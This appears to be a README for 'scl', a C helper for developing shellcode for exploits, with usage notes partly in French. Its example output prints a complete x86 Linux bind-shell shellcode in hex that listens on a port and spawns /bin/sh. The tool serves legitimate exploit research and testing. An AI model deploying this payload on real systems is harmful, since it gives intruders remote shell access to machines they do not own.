/scl

Tool to help Shellcode development and use in exploits

Primary LanguageC

Helper for shellcode debugging. Load shellcode (for instance nasm assembly), execute it locally, display it and look for bad characters.

It can be used to:
    * Check that the shell code does not contain badchars ;
    * Excecute shellcode locally to check its behavior ;
    * Display shellcode in hex format, with the user's header choice (for instance \x90 or %90).

It is an helper for those who develop their shellcodes manullay.
It works under Linux and Win32. Should work with other OSes but I did not tried.

Example
First, use nasm to assemble the shellcode (simple binary, no elf or coff/pe format):
$ nasm bindshell.asm

Then use scl with the command line:

    * -l : binaire à charger ;
    * -d\\x : display avec headers \x (note: -d aurait suffit ; \x étant la sortie par défaut) ;
    * -b000a0b0d : 0x00, 0x0a 0x0b 0x0d sont des badchars ; un message indique si ceux-ci ont été détectés ;
    * -x : execution en local.

(There are useless options to nop-pad the shellcode)

$ scl/bin/scl -l bindshell -d\\x -b000a0b0d -x
Loading shellcode data...
Conversion to binary
\x6a\x06\x58\x99\x50\xb0\x01\x50\x89\xc3\x40\x50\x89\xe1\xb0\x66\xcd\x80\x92\x50\u200b
\x50\x50\x66\x68\x11\x11\xb0\x02\x66\x50\x89\xe7\xb0\x10\x50\x57\x52\x89\xe1\xb0\u200b
\x66\xb3\x02\xcd\x80\x40\x50\x52\x89\xe1\xb0\x66\xb3\x04\xcd\x80\xb3\x10\x53\x50\u200b
\x52\x89\xe1\xb0\x66\xb3\x05\xcd\x80\x93\xb0\x3f\x89\xc2\x31\xc9\xcd\x80\x89\xd0\u200b
\x41\xcd\x80\x89\xd0\x41\xcd\x80\x6a\x31\x58\xcd\x80\x6a\x46\x5b\x93\x89\xd9\xcd\u200b
\x80\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\u200b
\x0c\x48\xcd\x80\x89\xd0\x89\xd3\x40\xcd\x80
Testing shellcode